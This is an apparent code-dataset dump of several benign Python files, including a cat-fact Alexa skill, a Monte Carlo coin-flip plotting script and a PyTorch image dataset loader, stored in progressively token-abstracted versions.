should not be fed tuna exclusively, as it lacks taurine, an essential nutrient required for good feline health. Make sure you have the proper Pet supplies to keep your cat happy and healthy.'\n ,\n 'The strongest climber among the big cats, a leopard can carry prey twice its weight up a tree.'\n ,\n 'A cat’s hearing is better than a dog’s. A cat can hear high-frequency sounds up to two octaves higher than a human.'\n , 'Tylenol and chocolate are both poisionous to cats.',\n 'Cats have 30 teeth (12 incisors, 10 premolars, 4 canines, and 4 molars), while dogs have 42. Kittens have baby teeth, which are replaced by permanent teeth around the age of 7 months.'\n ,\n 'It has been scientifically proven that owning cats is good for our health and can decrease the occurrence of high blood pressure and other illnesses.'\n ,\n 'A cat can’t climb head first down a tree because every claw on a cat’s paw points the same way. To get down from a tree, a cat must back down.'\n ,\n 'Cats are subject to gum disease and to dental caries. They should have their teeth cleaned by the vet or the cat dentist once a year.'\n , 'A domestic cat can run at speeds of 30 mph.',\n 'Cat families usually play best in even numbers. Cats and kittens should be aquired in pairs whenever possible.'\n ,\n 'A cat’s back is extremely flexible because it has up to 53 loosely fitting vertebrae. Humans only have 34.'\n ,\n 'The claws on the cat’s back paws aren’t as sharp as the claws on the front paws because the claws in the back don’t retract and, consequently, become worn.'\n ,\n 'Cat paws act as tempetature regulators, shock absorbers, hunting and grooming tools, sensors, and more'\n , 'Cats see six times better in the dark and at night than humans.',\n \"The cat's tail is used to maintain balance.\",\n 'Cats have 300 million neurons; dogs have about 160 million',\n 'Both humans and cats have identical regions in the brain responsible for emotion.'\n ,\n 'The lightest cat on record is a blue point Himalayan called Tinker Toy, who weighed 1 pound, 6 ounces (616 g). Tinker Toy was 2.75 inches (7 cm) tall and 7.5 inches (19 cm) long.'\n ,\n \"An adult lion's roar can be heard up to five miles (eight kilometers) away.\"\n ,\n 'You check your cats pulse on the inside of the back thigh, where the leg joins to the body. Normal for cats: 110-170 beats per minute.'\n ,\n 'The largest cat breed is the Ragdoll. Male Ragdolls weigh between 12 and 20 lbs (5.4-9.0 k). Females weigh between 10 and 15 lbs (4.5-6.8 k).'\n ,\n \"A cat's normal temperature varies around 101 degrees Fahrenheit.\",\n 'Unlike other cats, lions have a tuft of hair at the end of their tails.'\n ,\n 'Cats don’t have sweat glands over their bodies like humans do. Instead, they sweat only through their paws.'\n , 'The average cat food meal is the equivalent to about five mice.',\n 'The first official cat show in the UK was organised at Crystal Palace in 1871.'\n ,\n 'In just seven years, a single pair of cats and their offspring could produce a staggering total of 420,000 kittens.'\n ]\n fact = myFacts[random.ranint(0, len(myFacts) - 1)]\n return fact\n\n\[email protected]\ndef start_skill():\n welcome_message = 'Hello there, would you like to hear a cat fact?'\n return question(welcome_message)\n\n\[email protected]('YesIntent')\ndef share_headlines():\n fact = get_cat_fact()\n cat_fact = 'Did you know, ' + fact\n return statement(cat_fact)\n\n\[email protected]('NoIntent')\ndef no_intent():\n bye_text = 'Ok! Have a wonderful day!'\n return statement(bye_text)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef get_cat_fact():\n myFacts = [\n 'Cats should not be fed tuna exclusively, as it lacks taurine, an essential nutrient required for good feline health. Make sure you have the proper Pet supplies to keep your cat happy and healthy.'\n ,\n 'The strongest climber among the big cats, a leopard can carry prey twice its weight up a tree.'\n ,\n 'A cat’s hearing is better than a dog’s. A cat can hear high-frequency sounds up to two octaves higher than a human.'\n , 'Tylenol and chocolate are both poisionous to cats.',\n 'Cats have 30 teeth (12 incisors, 10 premolars, 4 canines, and 4 molars), while dogs have 42. Kittens have baby teeth, which are replaced by permanent teeth around the age of 7 months.'\n ,\n 'It has been scientifically proven that owning cats is good for our health and can decrease the occurrence of high blood pressure and other illnesses.'\n ,\n 'A cat can’t climb head first down a tree because every claw on a cat’s paw points the same way. To get down from a tree, a cat must back down.'\n ,\n 'Cats are subject to gum disease and to dental caries. They should have their teeth cleaned by the vet or the cat dentist once a year.'\n , 'A domestic cat can run at speeds of 30 mph.',\n 'Cat families usually play best in even numbers. Cats and kittens should be aquired in pairs whenever possible.'\n ,\n 'A cat’s back is extremely flexible because it has up to 53 loosely fitting vertebrae. Humans only have 34.'\n ,\n 'The claws on the cat’s back paws aren’t as sharp as the claws on the front paws because the claws in the back don’t retract and, consequently, become worn.'\n ,\n 'Cat paws act as tempetature regulators, shock absorbers, hunting and grooming tools, sensors, and more'\n , 'Cats see six times better in the dark and at night than humans.',\n \"The cat's tail is used to maintain balance.\",\n 'Cats have 300 million neurons; dogs have about 160 million',\n 'Both humans and cats have identical regions in the brain responsible for emotion.'\n ,\n 'The lightest cat on record is a blue point Himalayan called Tinker Toy, who weighed 1 pound, 6 ounces (616 g). Tinker Toy was 2.75 inches (7 cm) tall and 7.5 inches (19 cm) long.'\n ,\n \"An adult lion's roar can be heard up to five miles (eight kilometers) away.\"\n ,\n 'You check your cats pulse on the inside of the back thigh, where the leg joins to the body. Normal for cats: 110-170 beats per minute.'\n ,\n 'The largest cat breed is the Ragdoll. Male Ragdolls weigh between 12 and 20 lbs (5.4-9.0 k). Females weigh between 10 and 15 lbs (4.5-6.8 k).'\n ,\n \"A cat's normal temperature varies around 101 degrees Fahrenheit.\",\n 'Unlike other cats, lions have a tuft of hair at the end of their tails.'\n ,\n 'Cats don’t have sweat glands over their bodies like humans do. Instead, they sweat only through their paws.'\n , 'The average cat food meal is the equivalent to about five mice.',\n 'The first official cat show in the UK was organised at Crystal Palace in 1871.'\n ,\n 'In just seven years, a single pair of cats and their offspring could produce a staggering total of 420,000 kittens.'\n ]\n fact = myFacts[random.ranint(0, len(myFacts) - 1)]\n return fact\n\n\[email protected]\ndef start_skill():\n welcome_message = 'Hello there, would you like to hear a cat fact?'\n return question(welcome_message)\n\n\n<function token>\n\n\[email protected]('NoIntent')\ndef no_intent():\n bye_text = 'Ok! Have a wonderful day!'\n return statement(bye_text)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\[email protected]\ndef start_skill():\n welcome_message = 'Hello there, would you like to hear a cat fact?'\n return question(welcome_message)\n\n\n<function token>\n\n\[email protected]('NoIntent')\ndef no_intent():\n bye_text = 'Ok! Have a wonderful day!'\n return statement(bye_text)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\[email protected]\ndef start_skill():\n welcome_message = 'Hello there, would you like to hear a cat fact?'\n return question(welcome_message)\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
430
124d7da330aa7c869320e10f4f89cc1c872f85f2
import matplotlib.pyplot as plt import sys sys.path.append('coin_flipping_src') from monte_carlo import monte_carlo from probability import probability plt.style.use('bmh') x_coords = range(10) probablility_results = [probability(x,10) for x in x_coords] plt.plot(x_coords,probablility_results,linewidth = 2.5) # plt.plot([0,1,2,3,4],[0.1, 0.3, 0.5, 0.1, 0.1],linewidth=2.5) for _ in range(5): plt.plot(x_coords,[monte_carlo(x,10,100) for x in x_coords],linewidth = 0.75) # plt.plot([0,1,2,3,4],[0.3, 0.1, 0.4, 0.2, 0.1],linewidth=0.75) # plt.plot([0,1,2,3,4],[0.2, 0.2, 0.3, 0.3, 0.2],linewidth=0.75) plt.legend(['True','MC 1','MC 2','MC 3','MC 4','MC 5']) plt.xlabel('Number of Heads') plt.ylabel('Probability') plt.title('True Distribution vs Monte Carlo Simulations for 10 Coin Flips') plt.savefig('plot.png') plt.show()
[ "import matplotlib.pyplot as plt\nimport sys\nsys.path.append('coin_flipping_src')\nfrom monte_carlo import monte_carlo\nfrom probability import probability\nplt.style.use('bmh')\nx_coords = range(10)\nprobablility_results = [probability(x,10) for x in x_coords]\nplt.plot(x_coords,probablility_results,linewidth = 2.5)\n# plt.plot([0,1,2,3,4],[0.1, 0.3, 0.5, 0.1, 0.1],linewidth=2.5)\nfor _ in range(5):\n plt.plot(x_coords,[monte_carlo(x,10,100) for x in x_coords],linewidth = 0.75)\n# plt.plot([0,1,2,3,4],[0.3, 0.1, 0.4, 0.2, 0.1],linewidth=0.75)\n# plt.plot([0,1,2,3,4],[0.2, 0.2, 0.3, 0.3, 0.2],linewidth=0.75)\nplt.legend(['True','MC 1','MC 2','MC 3','MC 4','MC 5'])\nplt.xlabel('Number of Heads')\nplt.ylabel('Probability')\nplt.title('True Distribution vs Monte Carlo Simulations for 10 Coin Flips')\nplt.savefig('plot.png')\nplt.show()", "import matplotlib.pyplot as plt\nimport sys\nsys.path.append('coin_flipping_src')\nfrom monte_carlo import monte_carlo\nfrom probability import probability\nplt.style.use('bmh')\nx_coords = range(10)\nprobablility_results = [probability(x, 10) for x in x_coords]\nplt.plot(x_coords, probablility_results, linewidth=2.5)\nfor _ in range(5):\n plt.plot(x_coords, [monte_carlo(x, 10, 100) for x in x_coords],\n linewidth=0.75)\nplt.legend(['True', 'MC 1', 'MC 2', 'MC 3', 'MC 4', 'MC 5'])\nplt.xlabel('Number of Heads')\nplt.ylabel('Probability')\nplt.title('True Distribution vs Monte Carlo Simulations for 10 Coin Flips')\nplt.savefig('plot.png')\nplt.show()\n", "<import token>\nsys.path.append('coin_flipping_src')\n<import token>\nplt.style.use('bmh')\nx_coords = range(10)\nprobablility_results = [probability(x, 10) for x in x_coords]\nplt.plot(x_coords, probablility_results, linewidth=2.5)\nfor _ in range(5):\n plt.plot(x_coords, [monte_carlo(x, 10, 100) for x in x_coords],\n linewidth=0.75)\nplt.legend(['True', 'MC 1', 'MC 2', 'MC 3', 'MC 4', 'MC 5'])\nplt.xlabel('Number of Heads')\nplt.ylabel('Probability')\nplt.title('True Distribution vs Monte Carlo Simulations for 10 Coin Flips')\nplt.savefig('plot.png')\nplt.show()\n", "<import token>\nsys.path.append('coin_flipping_src')\n<import token>\nplt.style.use('bmh')\n<assignment token>\nplt.plot(x_coords, probablility_results, linewidth=2.5)\nfor _ in range(5):\n plt.plot(x_coords, [monte_carlo(x, 10, 100) for x in x_coords],\n linewidth=0.75)\nplt.legend(['True', 'MC 1', 'MC 2', 'MC 3', 'MC 4', 'MC 5'])\nplt.xlabel('Number of Heads')\nplt.ylabel('Probability')\nplt.title('True Distribution vs Monte Carlo Simulations for 10 Coin Flips')\nplt.savefig('plot.png')\nplt.show()\n", "<import token>\n<code token>\n<import token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
431
502da0f0dafe42d3464fabb1d92ae1b0d7ef11f3
# Check given matrix is valid sudoku or Not.
[ "# Check given matrix is valid sudoku or Not.\n", "" ]
false
432
4e31c2a80bec77a1f5aafc8a91617fb4b2941788
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Author: André Pacheco E-mail: [email protected] This file implements the methods and functions to load the image as a PyTorch dataset If you find any bug or have some suggestion, please, email me. """ from PIL import Image from torch.utils import data import torchvision.transforms as transforms class BuildDataset (data.Dataset): """ This the standard way to implement a dataset pipeline in PyTorch. We need to extend the torch.utils.data.Dataset class and implement the following methods: __len__, __getitem__ and the constructor __init__ """ def __init__(self, imgs_path, labels, extra_info=None, transform=None): """ The constructor gets the images path and their respectively labels and extra information (if it exists). In addition, you can specify some transform operation to be carry out on the images. It's important to note the images must match with the labels (an extra information if exist). For example, the imgs_path[x]'s label must take place on labels[x]. Parameters: :param imgs_path (list): a list of string containing the image paths :param labels (list) a list of labels for each image :param extra_info (list): a list of extra information regarding each image. If None, there is no information. Defaul is None. :param transform (torchvision.transforms.transforms.Compose): transform operations to be carry out on the images """ self.imgs_path = imgs_path self.labels = labels self.extra_info = extra_info # if transform is None, we need to ensure that the PIL image will be transformed to tensor, otherwise we'll got # an exception if (transform is not None): self.transform = transform else: self.transform = transforms.Compose([ transforms.Resize((224,224)), transforms.ToTensor() ]) def __len__(self): """ This method just returns the dataset size """ return len(self.imgs_path) def __getitem__(self, item): """ It gets the image, labels and extra information (if it exists) according to the index informed in `item`. It also performs the transform on the image. :param item (int): an index in the interval [0, ..., len(img_paths)-1] :return (tuple): a tuple containing the image, its label and extra information (if it exists) """ image = Image.open(self.imgs_path[item]).convert("RGB") # Applying the transformations image = self.transform(image) img_name = self.imgs_path[item].split('/')[-1].split('.')[0] # print(self.labels[item]) # print(self.extra_info[item]) if self.extra_info is None: extra_info = [] else: extra_info = self.extra_info[item] if self.labels is None: labels = [] else: labels = self.labels[item] return image, labels, extra_info, img_name def get_data_loader (imgs_path, labels, extra_info=None, transform=None, params=None): """ This function gets a list og images path, their labels and extra information (if it exists) and returns a DataLoader for these files. You also can set some transformations using torchvision.transforms in order to perform data augmentation. Lastly, params is a dictionary that you can set the following parameters: batch_size (int): the batch size for the dataset. If it's not informed the default is 30 shuf (bool): set it true if wanna shuffe the dataset. If it's not informed the default is True num_workers (int): the number thread in CPU to load the dataset. If it's not informed the default is 0 (which :param imgs_path (list): a list of string containing the images path :param labels (list): a list of labels for each image :param extra_info (list, optional): a list of extra information regarding each image. If it's None, it means there's no extra information. Default is None :param transform (torchvision.transforms, optional): use the torchvision.transforms.compose to perform the data augmentation for the dataset. Alternatively, you can use the jedy.pytorch.utils.augmentation to perform the augmentation. If it's None, none augmentation will be perform. Default is None :param params (dictionary, optional): this dictionary contains the following parameters: batch_size: the batch size. If the key is not informed or params = None, the default value will be 30 shuf: if you'd like to shuffle the dataset. If the key is not informed or params = None, the default value will be True num_workers: the number of threads to be used in CPU. If the key is not informed or params = None, the default value will be 4 pin_memory = set it to True to Pytorch preload the images on GPU. If the key is not informed or params = None, the default value will be True :return (torch.utils.data.DataLoader): a dataloader with the dataset and the chose params """ dt = BuildDataset(imgs_path, labels, extra_info, transform) # Checking the params values. If it's not defined in params of if params is None, the default values are described # below: batch_size = 30 shuf = True num_workers = 4 pin_memory = True # However, if the params is defined, we used the values described on it: if (params is not None): if ('batch_size' in params.keys()): batch_size = params['batch_size'] if ('shuf' in params.keys()): shuf = params['shuf'] if ('num_workers' in params.keys()): num_workers = params['num_workers'] if ('pin_memory' in params.keys()): pin_memory = params['pin_memory'] # Calling the dataloader dl = data.DataLoader (dataset=dt, batch_size=batch_size, shuffle=shuf, num_workers=num_workers, pin_memory=pin_memory) return dl
[ "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nAuthor: André Pacheco\nE-mail: [email protected]\n\nThis file implements the methods and functions to load the image as a PyTorch dataset\n\nIf you find any bug or have some suggestion, please, email me.\n\"\"\"\n\nfrom PIL import Image\nfrom torch.utils import data\nimport torchvision.transforms as transforms\n\n\nclass BuildDataset (data.Dataset):\n \"\"\"\n This the standard way to implement a dataset pipeline in PyTorch. We need to extend the torch.utils.data.Dataset\n class and implement the following methods: __len__, __getitem__ and the constructor __init__\n \"\"\"\n\n def __init__(self, imgs_path, labels, extra_info=None, transform=None):\n \"\"\"\n The constructor gets the images path and their respectively labels and extra information (if it exists).\n In addition, you can specify some transform operation to be carry out on the images.\n\n It's important to note the images must match with the labels (an extra information if exist). For example, the\n imgs_path[x]'s label must take place on labels[x].\n\n Parameters:\n :param imgs_path (list): a list of string containing the image paths\n :param labels (list) a list of labels for each image\n :param extra_info (list): a list of extra information regarding each image. If None, there is no information.\n Defaul is None.\n :param transform (torchvision.transforms.transforms.Compose): transform operations to be carry out on the images\n \"\"\"\n\n self.imgs_path = imgs_path\n self.labels = labels\n self.extra_info = extra_info\n\n # if transform is None, we need to ensure that the PIL image will be transformed to tensor, otherwise we'll got\n # an exception\n if (transform is not None):\n self.transform = transform\n else:\n self.transform = transforms.Compose([\n transforms.Resize((224,224)),\n transforms.ToTensor()\n ])\n\n def __len__(self):\n \"\"\" This method just returns the dataset size \"\"\"\n return len(self.imgs_path)\n\n def __getitem__(self, item):\n \"\"\"\n It gets the image, labels and extra information (if it exists) according to the index informed in `item`.\n It also performs the transform on the image.\n\n :param item (int): an index in the interval [0, ..., len(img_paths)-1]\n :return (tuple): a tuple containing the image, its label and extra information (if it exists)\n \"\"\"\n\n image = Image.open(self.imgs_path[item]).convert(\"RGB\")\n\n # Applying the transformations\n image = self.transform(image)\n\n img_name = self.imgs_path[item].split('/')[-1].split('.')[0]\n # print(self.labels[item])\n # print(self.extra_info[item])\n\n if self.extra_info is None:\n extra_info = []\n else:\n extra_info = self.extra_info[item]\n\n if self.labels is None:\n labels = []\n else:\n labels = self.labels[item]\n\n return image, labels, extra_info, img_name\n\n\ndef get_data_loader (imgs_path, labels, extra_info=None, transform=None, params=None):\n \"\"\"\n This function gets a list og images path, their labels and extra information (if it exists) and returns a DataLoader\n for these files. You also can set some transformations using torchvision.transforms in order to perform data\n augmentation. Lastly, params is a dictionary that you can set the following parameters:\n batch_size (int): the batch size for the dataset. If it's not informed the default is 30\n shuf (bool): set it true if wanna shuffe the dataset. If it's not informed the default is True\n num_workers (int): the number thread in CPU to load the dataset. If it's not informed the default is 0 (which\n\n\n :param imgs_path (list): a list of string containing the images path\n :param labels (list): a list of labels for each image\n :param extra_info (list, optional): a list of extra information regarding each image. If it's None, it means there's\n no extra information. Default is None\n :param transform (torchvision.transforms, optional): use the torchvision.transforms.compose to perform the data\n augmentation for the dataset. Alternatively, you can use the jedy.pytorch.utils.augmentation to perform the\n augmentation. If it's None, none augmentation will be perform. Default is None\n :param params (dictionary, optional): this dictionary contains the following parameters:\n batch_size: the batch size. If the key is not informed or params = None, the default value will be 30\n shuf: if you'd like to shuffle the dataset. If the key is not informed or params = None,\n the default value will be True\n num_workers: the number of threads to be used in CPU. If the key is not informed or params = None, the default\n value will be 4\n pin_memory = set it to True to Pytorch preload the images on GPU. If the key is not informed or params = None,\n the default value will be True\n :return (torch.utils.data.DataLoader): a dataloader with the dataset and the chose params\n \"\"\"\n\n\n dt = BuildDataset(imgs_path, labels, extra_info, transform)\n\n # Checking the params values. If it's not defined in params of if params is None, the default values are described\n # below:\n batch_size = 30\n shuf = True\n num_workers = 4\n pin_memory = True\n\n # However, if the params is defined, we used the values described on it:\n if (params is not None):\n if ('batch_size' in params.keys()):\n batch_size = params['batch_size']\n if ('shuf' in params.keys()):\n shuf = params['shuf']\n if ('num_workers' in params.keys()):\n num_workers = params['num_workers']\n if ('pin_memory' in params.keys()):\n pin_memory = params['pin_memory']\n\n # Calling the dataloader\n dl = data.DataLoader (dataset=dt, batch_size=batch_size, shuffle=shuf, num_workers=num_workers,\n pin_memory=pin_memory)\n\n return dl\n\n", "<docstring token>\nfrom PIL import Image\nfrom torch.utils import data\nimport torchvision.transforms as transforms\n\n\nclass BuildDataset(data.Dataset):\n \"\"\"\n This the standard way to implement a dataset pipeline in PyTorch. We need to extend the torch.utils.data.Dataset\n class and implement the following methods: __len__, __getitem__ and the constructor __init__\n \"\"\"\n\n def __init__(self, imgs_path, labels, extra_info=None, transform=None):\n \"\"\"\n The constructor gets the images path and their respectively labels and extra information (if it exists).\n In addition, you can specify some transform operation to be carry out on the images.\n\n It's important to note the images must match with the labels (an extra information if exist). For example, the\n imgs_path[x]'s label must take place on labels[x].\n\n Parameters:\n :param imgs_path (list): a list of string containing the image paths\n :param labels (list) a list of labels for each image\n :param extra_info (list): a list of extra information regarding each image. If None, there is no information.\n Defaul is None.\n :param transform (torchvision.transforms.transforms.Compose): transform operations to be carry out on the images\n \"\"\"\n self.imgs_path = imgs_path\n self.labels = labels\n self.extra_info = extra_info\n if transform is not None:\n self.transform = transform\n else:\n self.transform = transforms.Compose([transforms.Resize((224, \n 224)), transforms.ToTensor()])\n\n def __len__(self):\n \"\"\" This method just returns the dataset size \"\"\"\n return len(self.imgs_path)\n\n def __getitem__(self, item):\n \"\"\"\n It gets the image, labels and extra information (if it exists) according to the index informed in `item`.\n It also performs the transform on the image.\n\n :param item (int): an index in the interval [0, ..., len(img_paths)-1]\n :return (tuple): a tuple containing the image, its label and extra information (if it exists)\n \"\"\"\n image = Image.open(self.imgs_path[item]).convert('RGB')\n image = self.transform(image)\n img_name = self.imgs_path[item].split('/')[-1].split('.')[0]\n if self.extra_info is None:\n extra_info = []\n else:\n extra_info = self.extra_info[item]\n if self.labels is None:\n labels = []\n else:\n labels = self.labels[item]\n return image, labels, extra_info, img_name\n\n\ndef get_data_loader(imgs_path, labels, extra_info=None, transform=None,\n params=None):\n \"\"\"\n This function gets a list og images path, their labels and extra information (if it exists) and returns a DataLoader\n for these files. You also can set some transformations using torchvision.transforms in order to perform data\n augmentation. Lastly, params is a dictionary that you can set the following parameters:\n batch_size (int): the batch size for the dataset. If it's not informed the default is 30\n shuf (bool): set it true if wanna shuffe the dataset. If it's not informed the default is True\n num_workers (int): the number thread in CPU to load the dataset. If it's not informed the default is 0 (which\n\n\n :param imgs_path (list): a list of string containing the images path\n :param labels (list): a list of labels for each image\n :param extra_info (list, optional): a list of extra information regarding each image. If it's None, it means there's\n no extra information. Default is None\n :param transform (torchvision.transforms, optional): use the torchvision.transforms.compose to perform the data\n augmentation for the dataset. Alternatively, you can use the jedy.pytorch.utils.augmentation to perform the\n augmentation. If it's None, none augmentation will be perform. Default is None\n :param params (dictionary, optional): this dictionary contains the following parameters:\n batch_size: the batch size. If the key is not informed or params = None, the default value will be 30\n shuf: if you'd like to shuffle the dataset. If the key is not informed or params = None,\n the default value will be True\n num_workers: the number of threads to be used in CPU. If the key is not informed or params = None, the default\n value will be 4\n pin_memory = set it to True to Pytorch preload the images on GPU. If the key is not informed or params = None,\n the default value will be True\n :return (torch.utils.data.DataLoader): a dataloader with the dataset and the chose params\n \"\"\"\n dt = BuildDataset(imgs_path, labels, extra_info, transform)\n batch_size = 30\n shuf = True\n num_workers = 4\n pin_memory = True\n if params is not None:\n if 'batch_size' in params.keys():\n batch_size = params['batch_size']\n if 'shuf' in params.keys():\n shuf = params['shuf']\n if 'num_workers' in params.keys():\n num_workers = params['num_workers']\n if 'pin_memory' in params.keys():\n pin_memory = params['pin_memory']\n dl = data.DataLoader(dataset=dt, batch_size=batch_size, shuffle=shuf,\n num_workers=num_workers, pin_memory=pin_memory)\n return dl\n", "<docstring token>\n<import token>\n\n\nclass BuildDataset(data.Dataset):\n \"\"\"\n This the standard way to implement a dataset pipeline in PyTorch. We need to extend the torch.utils.data.Dataset\n class and implement the following methods: __len__, __getitem__ and the constructor __init__\n \"\"\"\n\n def __init__(self, imgs_path, labels, extra_info=None, transform=None):\n \"\"\"\n The constructor gets the images path and their respectively labels and extra information (if it exists).\n In addition, you can specify some transform operation to be carry out on the images.\n\n It's important to note the images must match with the labels (an extra information if exist). For example, the\n imgs_path[x]'s label must take place on labels[x].\n\n Parameters:\n :param imgs_path (list): a list of string containing the image paths\n :param labels (list) a list of labels for each image\n :param extra_info (list): a list of extra information regarding each image. If None, there is no information.\n Defaul is None.\n :param transform (torchvision.transforms.transforms.Compose): transform operations to be carry out on the images\n \"\"\"\n self.imgs_path = imgs_path\n self.labels = labels\n self.extra_info = extra_info\n if transform is not None:\n self.transform = transform\n else:\n self.transform = transforms.Compose([transforms.Resize((224, \n 224)), transforms.ToTensor()])\n\n def __len__(self):\n \"\"\" This method just returns the dataset size \"\"\"\n return len(self.imgs_path)\n\n def __getitem__(self, item):\n \"\"\"\n It gets the image, labels and extra information (if it exists) according to the index informed in `item`.\n It also performs the transform on the image.\n\n :param item (int): an index in the interval [0, ..., len(img_paths)-1]\n :return (tuple): a tuple containing the image, its label and extra information (if it exists)\n \"\"\"\n image = Image.open(self.imgs_path[item]).convert('RGB')\n image = self.transform(image)\n img_name = self.imgs_path[item].split('/')[-1].split('.')[0]\n if self.extra_info is None:\n extra_info = []\n else:\n extra_info = self.extra_info[item]\n if self.labels is None:\n labels = []\n else:\n labels = self.labels[item]\n return image, labels, extra_info, img_name\n\n\ndef get_data_loader(imgs_path, labels, extra_info=None, transform=None,\n params=None):\n \"\"\"\n This function gets a list og images path, their labels and extra information (if it exists) and returns a DataLoader\n for these files. You also can set some transformations using torchvision.transforms in order to perform data\n augmentation. Lastly, params is a dictionary that you can set the following parameters:\n batch_size (int): the batch size for the dataset. If it's not informed the default is 30\n shuf (bool): set it true if wanna shuffe the dataset. If it's not informed the default is True\n num_workers (int): the number thread in CPU to load the dataset. If it's not informed the default is 0 (which\n\n\n :param imgs_path (list): a list of string containing the images path\n :param labels (list): a list of labels for each image\n :param extra_info (list, optional): a list of extra information regarding each image. If it's None, it means there's\n no extra information. Default is None\n :param transform (torchvision.transforms, optional): use the torchvision.transforms.compose to perform the data\n augmentation for the dataset. Alternatively, you can use the jedy.pytorch.utils.augmentation to perform the\n augmentation. If it's None, none augmentation will be perform. Default is None\n :param params (dictionary, optional): this dictionary contains the following parameters:\n batch_size: the batch size. If the key is not informed or params = None, the default value will be 30\n shuf: if you'd like to shuffle the dataset. If the key is not informed or params = None,\n the default value will be True\n num_workers: the number of threads to be used in CPU. If the key is not informed or params = None, the default\n value will be 4\n pin_memory = set it to True to Pytorch preload the images on GPU. If the key is not informed or params = None,\n the default value will be True\n :return (torch.utils.data.DataLoader): a dataloader with the dataset and the chose params\n \"\"\"\n dt = BuildDataset(imgs_path, labels, extra_info, transform)\n batch_size = 30\n shuf = True\n num_workers = 4\n pin_memory = True\n if params is not None:\n if 'batch_size' in params.keys():\n batch_size = params['batch_size']\n if 'shuf' in params.keys():\n shuf = params['shuf']\n if 'num_workers' in params.keys():\n num_workers = params['num_workers']\n if 'pin_memory' in params.keys():\n pin_memory = params['pin_memory']\n dl = data.DataLoader(dataset=dt, batch_size=batch_size, shuffle=shuf,\n num_workers=num_workers, pin_memory=pin_memory)\n return dl\n", "<docstring token>\n<import token>\n\n\nclass BuildDataset(data.Dataset):\n \"\"\"\n This the standard way to implement a dataset pipeline in PyTorch. We need to extend the torch.utils.data.Dataset\n class and implement the following methods: __len__, __getitem__ and the constructor __init__\n \"\"\"\n\n def __init__(self, imgs_path, labels, extra_info=None, transform=None):\n \"\"\"\n The constructor gets the images path and their respectively labels and extra information (if it exists).\n In addition, you can specify some transform operation to be carry out on the images.\n\n It's important to note the images must match with the labels (an extra information if exist). For example, the\n imgs_path[x]'s label must take place on labels[x].\n\n Parameters:\n :param imgs_path (list): a list of string containing the image paths\n :param labels (list) a list of labels for each image\n :param extra_info (list): a list of extra information regarding each image. If None, there is no information.\n Defaul is None.\n :param transform (torchvision.transforms.transforms.Compose): transform operations to be carry out on the images\n \"\"\"\n self.imgs_path = imgs_path\n self.labels = labels\n self.extra_info = extra_info\n if transform is not None:\n self.transform = transform\n else:\n self.transform = transforms.Compose([transforms.Resize((224, \n 224)), transforms.ToTensor()])\n\n def __len__(self):\n \"\"\" This method just returns the dataset size \"\"\"\n return len(self.imgs_path)\n\n def __getitem__(self, item):\n \"\"\"\n It gets the image, labels and extra information (if it exists) according to the index informed in `item`.\n It also performs the transform on the image.\n\n :param item (int): an index in the interval [0, ..., len(img_paths)-1]\n :return (tuple): a tuple containing the image, its label and extra information (if it exists)\n \"\"\"\n image = Image.open(self.imgs_path[item]).convert('RGB')\n image = self.transform(image)\n img_name = self.imgs_path[item].split('/')[-1].split('.')[0]\n if self.extra_info is None:\n extra_info = []\n else:\n extra_info = self.extra_info[item]\n if self.labels is None:\n labels = []\n else:\n labels = self.labels[item]\n return image, labels, extra_info, img_name\n\n\n<function token>\n", "<docstring token>\n<import token>\n\n\nclass BuildDataset(data.Dataset):\n <docstring token>\n\n def __init__(self, imgs_path, labels, extra_info=None, transform=None):\n \"\"\"\n The constructor gets the images path and their respectively labels and extra information (if it exists).\n In addition, you can specify some transform operation to be carry out on the images.\n\n It's important to note the images must match with the labels (an extra information if exist). For example, the\n imgs_path[x]'s label must take place on labels[x].\n\n Parameters:\n :param imgs_path (list): a list of string containing the image paths\n :param labels (list) a list of labels for each image\n :param extra_info (list): a list of extra information regarding each image. If None, there is no information.\n Defaul is None.\n :param transform (torchvision.transforms.transforms.Compose): transform operations to be carry out on the images\n \"\"\"\n self.imgs_path = imgs_path\n self.labels = labels\n self.extra_info = extra_info\n if transform is not None:\n self.transform = transform\n else:\n self.transform = transforms.Compose([transforms.Resize((224, \n 224)), transforms.ToTensor()])\n\n def __len__(self):\n \"\"\" This method just returns the dataset size \"\"\"\n return len(self.imgs_path)\n\n def __getitem__(self, item):\n \"\"\"\n It gets the image, labels and extra information (if it exists) according to the index informed in `item`.\n It also performs the transform on the image.\n\n :param item (int): an index in the interval [0, ..., len(img_paths)-1]\n :return (tuple): a tuple containing the image, its label and extra information (if it exists)\n \"\"\"\n image = Image.open(self.imgs_path[item]).convert('RGB')\n image = self.transform(image)\n img_name = self.imgs_path[item].split('/')[-1].split('.')[0]\n if self.extra_info is None:\n extra_info = []\n else:\n extra_info = self.extra_info[item]\n if self.labels is None:\n labels = []\n else:\n labels = self.labels[item]\n return image, labels, extra_info, img_name\n\n\n<function token>\n", "<docstring token>\n<import token>\n\n\nclass BuildDataset(data.Dataset):\n <docstring token>\n\n def __init__(self, imgs_path, labels, extra_info=None, transform=None):\n \"\"\"\n The constructor gets the images path and their respectively labels and extra information (if it exists).\n In addition, you can specify some transform operation to be carry out on the images.\n\n It's important to note the images must match with the labels (an extra information if exist). For example, the\n imgs_path[x]'s label must take place on labels[x].\n\n Parameters:\n :param imgs_path (list): a list of string containing the image paths\n :param labels (list) a list of labels for each image\n :param extra_info (list): a list of extra information regarding each image. If None, there is no information.\n Defaul is None.\n :param transform (torchvision.transforms.transforms.Compose): transform operations to be carry out on the images\n \"\"\"\n self.imgs_path = imgs_path\n self.labels = labels\n self.extra_info = extra_info\n if transform is not None:\n self.transform = transform\n else:\n self.transform = transforms.Compose([transforms.Resize((224, \n 224)), transforms.ToTensor()])\n\n def __len__(self):\n \"\"\" This method just returns the dataset size \"\"\"\n return len(self.imgs_path)\n <function token>\n\n\n<function token>\n", "<docstring token>\n<import token>\n\n\nclass BuildDataset(data.Dataset):\n <docstring token>\n <function token>\n\n def __len__(self):\n \"\"\" This method just returns the dataset size \"\"\"\n return len(self.imgs_path)\n <function token>\n\n\n<function token>\n", "<docstring 